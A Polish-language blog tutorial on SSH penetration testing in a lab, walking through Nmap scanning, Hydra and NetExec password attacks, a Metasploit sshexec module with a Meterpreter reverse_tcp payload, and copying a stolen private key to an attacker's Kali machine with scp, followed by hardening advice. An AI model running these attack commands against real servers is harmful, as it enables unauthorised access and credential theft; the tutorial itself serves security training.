Testy penetracyjne SSH (port 22) – kompletny przewodnik krok po kroku (Nmap, Hydra, Metasploit)

Wprowadzenie

SSH (Secure Shell) to kryptograficzny protokół sieciowy służący do bezpiecznego zdalnego zarządzania systemami. Działa domyślnie na porcie 22 i jest powszechnie stosowany w środowiskach Linux/Unix. Właśnie dlatego stanowi częsty cel podczas testów penetracyjnych – błędna konfiguracja lub słabe hasła mogą otworzyć atakującemu pełny dostęp do serwera.

Z punktu widzenia cyberbezpieczeństwa SSH jest krytycznym elementem infrastruktury – jego błędna konfiguracja, słabe hasła lub brak aktualizacji mogą prowadzić do pełnego przejęcia systemu.

W tym poradniku pokazuję praktyczny proces testów penetracyjnych SSH krok po kroku – techniki, które wykorzystałem podczas własnych ćwiczeń w kontrolowanym środowisku laboratoryjnym.

Bezpłatne szkolenie: Zbuduj 5 agentów AI w n8n!

Weź udział w intensywnym, praktycznym szkoleniu i naucz się tworzyć automatyzacje oraz agentów AI komunikujących się przez komunikator. W programie m.in.: RAG Chatbot, Voice Agent, Wirtualna Rada Nadzorcza, Asystentka głosowa i Claude Code Admin.

Zapisy do 23 kwietnia, 23:59

Sprawdź szczegóły: https://asdevops.pl/warsztaty/

 

 

Uwaga prawna: Wszystkie opisane techniki należy stosować wyłącznie na systemach, do których posiadasz pisemną zgodę właściciela lub na własnej infrastrukturze laboratoryjnej. Nieautoryzowane testy penetracyjne są nielegalne.


1. Instalacja i konfiguracja OpenSSH (środowisko testowe)

Pierwszym krokiem jest przygotowanie środowiska – instalacja serwera SSH na maszynie-ofierze (np. VM w labie):

apt install openssh-server

Po instalacji serwis uruchamia się automatycznie i nasłuchuje na porcie 22. Możemy zweryfikować jego status komendą systemctl status ssh. Zielone napisy enabled – serwis jest włączony i działa.

systemctl status ssh

2. Skanowanie SSH – wykrywanie portu 22 i wersji (Nmap)

Pierwszym etapem każdego testu penetracyjnego jest rekonesans. W tym celu używamy Nmap:

nmap -sV -p 22 IP_SERWERA_OFIARY

Co robi to polecenie:

  • -p 22 – skanuje tylko port SSH
  • -sV – wykrywa wersję usługi

Dlaczego to ważne?

Identyfikacja wersji OpenSSH pozwala:

ocenić poziom bezpieczeństwa systemu

wykryć podatności CVE

dopasować exploity


3. Atak brute-force SSH (Hydra)

Gdy wiemy, że port 22 jest otwarty, możemy sprawdzić odporność serwera na ataki słownikowe. Hydra to narzędzie do równoległego łamania haseł metodą brute-force:

hydra -L users.txt -P pass.txt IP_SERWERA_OFIARY ssh
  • -L users.txt – plik z listą nazw użytkowników
  • -P pass.txt – plik z listą haseł
  • ssh – Na końcu podajemy protokół docelowy (ssh) i adres IP celu

Hydra próbuje kolejno każdej kombinacji login/hasło. Jeśli znajdzie poprawne dane – wyświetli je w wynikach.

Wniosek: brak polityki silnych haseł = bardzo wysokie ryzyko kompromitacji. To doskonały dowód na to, że słabe hasła stanowią poważne zagrożenie.


4. Weryfikacja poświadczeń (NetExec / nxc)

NetExec (dawniej CrackMapExec) to wszechstronne narzędzie do testowania sieci. Pozwala szybko zweryfikować, czy dane uwierzytelniające działają dla wielu użytkowników jednocześnie:

nxc ssh IP_SERWERA_OFIARY -u users.txt -p 123

W tym przykładzie testujemy listę użytkowników z pliku users.txt ze stałym hasłem 123!. Narzędzie wyraźnie oznacza, które konto zostało pomyślnie uwierzytelnione (znacznik [+]).

Zalety:

  • szybkie sprawdzanie wielu kont
  • czytelne oznaczenie poprawnych loginów
  • możliwość dalszej automatyzacji ataku

5. Logowanie do serwera SSH (uzyskanie dostępu)

Po zdobyciu prawidłowych danych uwierzytelniających uzyskujemy dostęp do systemu:

ssh arek@IP_SERWERA_OFIARY

Po wpisaniu hasła uzyskujemy interaktywną powłokę na maszynie docelowej. Na tym etapie możliwa jest dalsza eskalacja uprawnień lub eksploracja systemu.

Na tym etapie można:

  • przeszukiwać system
  • eskalować uprawnienia
  • zbierać dane

6. Wykorzystanie Metasploit Framework i SSHExec – automatyzacja ataku

Metasploit to jeden z najpopularniejszych frameworków do testów penetracyjnych. Moduł sshexec umożliwia zdalne wykonanie poleceń oraz uzyskanie sesji Meterpreter po pozyskaniu prawidłowych danych logowania:

msfconsole
use exploit/multi/ssh/sshexec
set rhosts IP_SERWERA_OFIARY
set username WYKRADZIONY_LOGIN
set password WYKRADZIONE_HASŁO
set target 1
set payload linux/x86/meterpreter/reverse_tcp
run

Poprawne zestawienie połączenia:

Kolejne kroki konfiguracji:

  • rhosts – adres IP maszyny docelowej
  • username / password – poświadczenia zdobyte wcześniej
  • target 1 – tryb działania modułu (wykonanie polecenia)
  • payload linux/x86/meterpreter/reverse_tcp – ładunek tworzący odwrotne połączenie do naszej maszyny

Po uruchomieniu (run) Metasploit łączy się z serwerem i otwiera sesję Meterpreter, która daje zaawansowane możliwości post-eksploatacji.

Efekt:

  • zdalne wykonanie komend
  • interaktywna sesja
  • dostęp do zaawansowanych technik post-eksploatacji

7. Klucze SSH (RSA) – bezpieczeństwo i ryzyko

Klucze SSH to znacznie bezpieczniejsza metoda uwierzytelniania niż hasła. Jednak w kontekście pentestu – jeśli zdobędziemy klucz prywatny – możemy użyć go do logowania bez znajomości hasła.

Generowanie pary kluczy

Na maszynie ofiary generujemy nową parę kluczy RSA:

ssh-keygen

Klucze zostaną zapisane domyślnie w katalogu ~/.ssh/.

Powstają:

  • klucz prywatny (id_rsa)
  • klucz publiczny (id_rsa.pub)

Dodanie klucza publicznego do autoryzowanych kluczy

Na serwerze docelowym dodajemy nasz klucz publiczny do pliku authorized_keys, co umożliwi logowanie bez hasła:

cd .ssh
cat id_rsa.pub > authorized_keys

8. Kradzież i wykorzystanie klucza prywatnego

Gdy uzyskamy dostęp do klucza prywatnego znajdującego się na serwerze (np. /etc/ssh/id_rsa), możemy skopiować go do naszej maszyny za pomocą scp:

scp /etc/ssh/id_rsa root@IP_KALI:/etc/ssh/

scp (Secure Copy Protocol) korzysta z SSH do bezpiecznego przesyłania plików. Skopiowany klucz prywatny posłuży następnie do uwierzytelnienia.


9. Logowanie kluczem RSA z Kali Linux

Po skopiowaniu klucza prywatnego nadajemy mu odpowiednie uprawnienia (wymóg SSH) i logujemy się do serwera:

Przejdź do folderu z kluczami ssh:

cd /etc/ssh

chmod 600 id_rsa

ssh -i id_rsa pentest@IP_SERWERA_OFIARY
  • chmod 600 – ustawia uprawnienia odczytu wyłącznie dla właściciela pliku (SSH odmówi użycia klucza z szerszymi uprawnieniami)
  • -i id_rsa – wskazuje plik klucza prywatnego do uwierzytelnienia

Logowanie przebiega bez podawania hasła – uwierzytelnienie odbywa się na podstawie pary kluczy kryptograficznych.


Najczęstsze błędy w konfiguracji SSH

  • włączone logowanie root
  • brak ograniczeń IP
  • słabe hasła
  • brak fail2ban
  • stare OpenSSH

Jak zabezpieczyć SSH (best practices)

Aby skutecznie zabezpieczyć serwer SSH:

  • zmień port (np. 2222)
  • wyłącz logowanie root: PermitRootLogin no
  • używaj tylko kluczy (wyłącz hasła): PasswordAuthentication no
  • wdroż fail2ban
  • włącz 2FA (np. Google Authenticator)
  • ogranicz dostęp (firewall, IP allowlist)
  • aktualizuj OpenSSH

Podsumowanie

Przeprowadzone ćwiczenia pokazują kilka kluczowych wniosków dotyczących bezpieczeństwa SSH:

  1. Słabe hasła są głównym wektorem ataku – Hydra i NetExec potrafią je złamać w ciągu sekund.
  2. Stare wersje OpenSSH mogą zawierać znane podatności – regularne aktualizacje są konieczne.
  3. Klucze RSA są bezpieczniejsze niż hasła, ale skradzione klucze prywatne dają pełny dostęp.
  4. Uwierzytelnianie tylko kluczem (z wyłączeniem logowania hasłem) znacząco zmniejsza powierzchnię ataku.

Jako zabezpieczenie warto wdrożyć: zmianę domyślnego portu, fail2ban, wyłączenie logowania jako root (PermitRootLogin no) oraz uwierzytelnianie dwuskładnikowe (2FA).

FAQ (pod SEO i AI)

Czy SSH na porcie 22 jest bezpieczne?
Tak, ale tylko przy poprawnej konfiguracji (klucze, brak root loginu, 2FA).

Czy zmiana portu SSH zwiększa bezpieczeństwo?
Tak – ogranicza skanowanie, ale nie zastępuje innych zabezpieczeń.

Czy brute-force SSH działa?
Tak – jeśli hasła są słabe lub brak mechanizmów blokady.

Co jest lepsze: hasło czy klucz SSH?
Klucz SSH jest znacznie bezpieczniejszy.

Bezpłatne szkolenie: Zbuduj 5 agentów AI w n8n!

Weź udział w intensywnym, praktycznym szkoleniu i naucz się tworzyć automatyzacje oraz agentów AI komunikujących się przez komunikator. W programie m.in.: RAG Chatbot, Voice Agent, Wirtualna Rada Nadzorcza, Asystentka głosowa i Claude Code Admin.

Zapisy do 23 kwietnia, 23:59

Sprawdź szczegóły: https://asdevops.pl/warsztaty/

 

 

 

 

Bezpłatny dostęp do warsztatów "Zbuduj 5 agentów AI w n8n!"

X